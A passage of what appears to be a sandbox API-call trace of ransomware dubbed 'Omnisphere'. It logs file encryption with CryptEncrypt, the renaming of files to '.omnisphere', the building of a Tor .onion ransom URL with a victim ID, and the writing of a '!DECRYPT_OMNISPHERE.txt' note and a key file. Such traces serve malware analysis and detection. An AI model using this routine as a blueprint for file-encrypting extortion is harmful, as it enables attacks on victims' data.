pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.211] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.212] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.212] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0118.212] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4fa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.212] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.212] GetProcessHeap () returned 0x1600000 [0118.212] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16a04a0 [0118.212] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-djtnauooqzvv7sta.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-djtnauooqzvv7sta.lnk.omnisphere")) returned 1 [0118.213] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk.omnisphere.id" [0118.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-djtnauooqzvv7sta.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.213] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.214] CloseHandle (hObject=0x3c0) returned 1 [0118.215] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.215] CloseHandle (hObject=0x288) returned 1 [0118.215] SetEndOfFile (hFile=0x28c) returned 1 [0118.215] FlushFileBuffers (hFile=0x28c) returned 1 [0118.221] CloseHandle (hObject=0x28c) returned 1 [0118.221] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-dJtnAUOOQzvv7Sta.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.221] GetProcessHeap () returned 0x1600000 [0118.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a0768 [0118.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.221] GetProcessHeap () returned 0x1600000 [0118.221] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16938a0 [0118.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16938a0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.222] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.222] GetProcessHeap () returned 0x1600000 [0118.222] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16870c8 [0118.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16870c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.222] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.222] GetProcessHeap () returned 0x1600000 [0118.222] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1631518 [0118.222] PathCombineW (in: pszDest=0x1631518, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.222] GetProcessHeap () returned 0x1600000 [0118.222] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169a628 [0118.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.222] WriteFile (in: hFile=0x28c, lpBuffer=0x169a628*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169a628*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.222] CloseHandle (hObject=0x28c) returned 1 [0118.222] GetProcessHeap () returned 0x1600000 [0118.222] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a0768 | out: hHeap=0x1600000) returned 1 [0118.222] GetProcessHeap () returned 0x1600000 [0118.222] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.223] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.223] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.223] CloseHandle (hObject=0x28c) returned 1 [0118.223] GetProcessHeap () returned 0x1600000 [0118.223] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.223] GetProcessHeap () returned 0x1600000 [0118.223] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630de8 | out: hHeap=0x1600000) returned 1 [0118.223] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfae04c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dfae04c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dfae04c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4a2, dwReserved0=0x0, dwReserved1=0xd3, cFileName="-FRHxieAIkz.lnk", cAlternateFileName="-FRHXI~1.LNK")) returned 1 [0118.223] GetProcessHeap () returned 0x1600000 [0118.223] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656388 [0118.223] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="-FRHxieAIkz.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk" [0118.223] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FRHxieAIkz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-frhxieaikz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.223] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1186) returned 1 [0118.223] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] GetTickCount () returned 0x115d8c8 [0118.224] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0118.225] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0118.225] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.225] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.225] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0118.225] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a2, lpName=0x0) returned 0x288 [0118.225] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a2) returned 0x1480000 [0118.225] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0118.226] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16395e8) returned 1 [0118.226] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.226] CryptEncrypt (in: 